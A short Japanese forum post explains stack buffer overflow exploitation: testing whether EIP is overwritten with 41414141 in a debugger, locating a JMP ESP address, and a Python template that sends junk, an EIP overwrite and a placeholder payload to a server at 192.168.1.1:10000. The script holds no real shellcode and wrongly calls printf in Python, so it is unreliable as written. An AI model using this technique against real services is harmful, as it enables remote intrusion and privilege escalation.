>>384
確かにOS起動しなくなったりすることもあるから仮想環境で実行した方が安全ではある
言葉が足りなかったかもしれんから書いとくがデバッガーを起動してデバッガーで鯖ソフトを逆アセンブルにかけてエミュレート実行ってことな
仮想OS上でデバッガーを使ってエミュレートするってのでも問題無い

ローカルの権限昇格も似たように
C:\windows\system32>sample.exe "AAAAAA"
とか引数入力してEIPが41414141になるかとかを調べりゃいいだよ

基本としてはESPからEBPまでがスタックの範囲だからJMP ESPを探してアドレスを憶えとく(search for->CommandsとかにJMP ESPとか入れて検索
EIPにJMP ESPのアドレスを入力する
>>381に付け加えるとするなら

#!/usr/bin/python
#
import socket

junk = b"A" * 1000 #EIPまで適当なデータを入力
eip = b"\x67\x45\x23\x01" #JMP ESP命令のアドレスが01234567だった場合
payload = b"\x00\x00" #実行命令本体
sploit = junk + eip +payload

printf(sploit)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 10000)) #IP,ポート
s.send(sploit)
s.close()

まぁ、こんなの調べればどこにでも書いてることだがな